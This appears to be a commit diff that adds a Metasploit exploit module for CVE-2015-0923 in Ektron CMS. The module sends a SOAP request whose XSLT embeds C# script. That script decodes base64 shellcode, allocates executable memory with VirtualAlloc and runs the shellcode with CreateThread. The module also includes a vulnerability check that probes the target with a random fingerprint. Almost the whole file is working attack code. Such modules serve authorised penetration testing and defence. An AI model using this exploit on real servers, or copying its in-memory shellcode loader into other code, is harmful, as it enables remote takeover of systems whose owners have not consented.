Adding Ektron 8.5 Web Service XSLT RCE
parent
a0ebf5ea2d
commit
6cbae172f8
|
@ -0,0 +1,211 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/file_dropper'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Ektron 8.5, 8.7 < sp2, 9.0 < sp1 XSLT Transform Remote Code Execution',
|
||||
'Description' => %q{
|
||||
},
|
||||
'Author' => [
|
||||
'catatonicprime'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2015-0923' ],
|
||||
[ 'US-CERT-VU', '377644' ],
|
||||
[ 'URL', 'http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Privileged' => true,
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X86_64, ARCH_X86 ] }]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Feb 05 2015'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
|
||||
OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']),
|
||||
OptEnum.new('TARGETOP',
|
||||
[
|
||||
true,
|
||||
'The vulnerable web service operation to exploit',
|
||||
'ContentBlockEx',
|
||||
[
|
||||
'ContentBlockEx',
|
||||
'GetBookmarkString',
|
||||
'GetContentFlaggingString',
|
||||
'GetContentRatingString',
|
||||
'GetMessagingString'
|
||||
]
|
||||
])
|
||||
], self.class )
|
||||
end
|
||||
|
||||
|
||||
def vulnerable_param
|
||||
return 'Xslt' if datastore['TARGETOP'] == 'ContentBlockEx'
|
||||
'xslt'
|
||||
end
|
||||
|
||||
def required_params
|
||||
return '' if datastore['TARGETOP'] == 'ContentBlockEx'
|
||||
'<showmode/>'
|
||||
end
|
||||
|
||||
def target_operation
|
||||
datastore['TARGETOP']
|
||||
end
|
||||
|
||||
def prologue
|
||||
<<-XSLT
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<soap:Body>
|
||||
<#{target_operation} xmlns="http://www.ektron.com/CMS400/Webservice">
|
||||
#{required_params}
|
||||
<#{vulnerable_param}>
|
||||
<![CDATA[
|
||||
<xsl:transform version="2.0"
|
||||
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
||||
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
|
||||
xmlns:user="http://mycompany.com/mynamespace">
|
||||
<msxsl:script language="C#" implements-prefix="user">
|
||||
XSLT
|
||||
end
|
||||
|
||||
def epilogue
|
||||
<<-XSLT
|
||||
</msxsl:script>
|
||||
<xsl:template match="/">
|
||||
<xsl:value-of select="user:xml()"/>
|
||||
</xsl:template>
|
||||
</xsl:transform>
|
||||
]]>
|
||||
</#{vulnerable_param}>
|
||||
</#{target_operation}>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
XSLT
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
fingerprint = rand_text_alpha(5 + rand(5))
|
||||
xslt_data = <<-XSLT
|
||||
#{prologue}
|
||||
public string xml() {
|
||||
return "#{fingerprint}";
|
||||
}
|
||||
#{epilogue}
|
||||
XSLT
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'ctype' => "text/xml; charset=UTF-8",
|
||||
'headers' => {
|
||||
"Referer" => build_referer
|
||||
},
|
||||
'data' => xslt_data
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def uri_path
|
||||
uri_path = target_uri.path
|
||||
uri_path << "/" if uri_path[-1, 1] != "/"
|
||||
uri_path
|
||||
end
|
||||
|
||||
def build_referer
|
||||
if datastore['SSL']
|
||||
schema = "https://"
|
||||
else
|
||||
schema = "http://"
|
||||
end
|
||||
|
||||
referer = schema
|
||||
referer << rhost
|
||||
referer << ":#{rport}"
|
||||
referer << uri_path
|
||||
referer
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
print_status("Generating the EXE Payload and the XSLT...")
|
||||
fingerprint = rand_text_alpha(5 + rand(5))
|
||||
|
||||
xslt_data = <<-XSLT
|
||||
#{prologue}
|
||||
private static UInt32 MEM_COMMIT = 0x1000;
|
||||
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("kernel32")]
|
||||
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("kernel32")]
|
||||
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
|
||||
|
||||
public string xml()
|
||||
{
|
||||
string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}";
|
||||
byte[] shellcode = System.Convert.FromBase64String(shellcode64);
|
||||
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
|
||||
IntPtr hThread = IntPtr.Zero;
|
||||
IntPtr pinfo = IntPtr.Zero;
|
||||
UInt32 threadId = 0;
|
||||
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
|
||||
return "#{fingerprint}";
|
||||
}
|
||||
#{epilogue}
|
||||
XSLT
|
||||
|
||||
print_status("Trying to run the xslt transformation...")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'ctype' => "text/xml; charset=UTF-8",
|
||||
'headers' => {
|
||||
"Referer" => build_referer
|
||||
},
|
||||
'data' => xslt_data
|
||||
})
|
||||
if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
|
||||
print_good("Exploitation was successful")
|
||||
else
|
||||
fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue